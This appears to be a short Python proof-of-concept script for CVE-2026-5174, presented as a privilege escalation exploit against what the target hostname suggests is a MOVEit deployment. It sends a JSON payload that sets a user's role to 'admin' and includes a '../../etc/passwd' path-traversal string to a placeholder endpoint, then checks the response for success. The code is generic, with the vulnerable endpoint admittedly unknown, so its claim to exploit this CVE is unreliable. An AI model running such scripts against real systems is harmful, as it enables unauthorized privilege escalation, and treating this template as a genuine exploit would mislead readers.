CVE-2026-5174

import requests # PoC for CVE-2026-5174: Privilege Escalation via Improper Input Validation # Disclaimer: This code is for educational and research purposes only. def exploit(target_url, session_cookie): headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Cookie": f"session={session_cookie}", "Content-Type": "application/json" } # Malicious payload attempting to inject privileged commands or parameters # The specific endpoint depends on the vulnerable component (e.g., /api/v1/user/role) payload = { "username": "low_priv_user", "role": "admin", # Attempting to escalate privilege "validation_bypass": "../../etc/passwd" # Example of input validation bypass technique } try: response = requests.post(f"{target_url}/api/vulnerable_endpoint", json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and "admin" in response.text: print("[+] Exploit successful! Privilege escalation detected.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or target patched.") print(f"[-] Status Code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target details for testing target = "https://moveit-target.example.com" cookie = "valid_low_priv_session_token" exploit(target, cookie)

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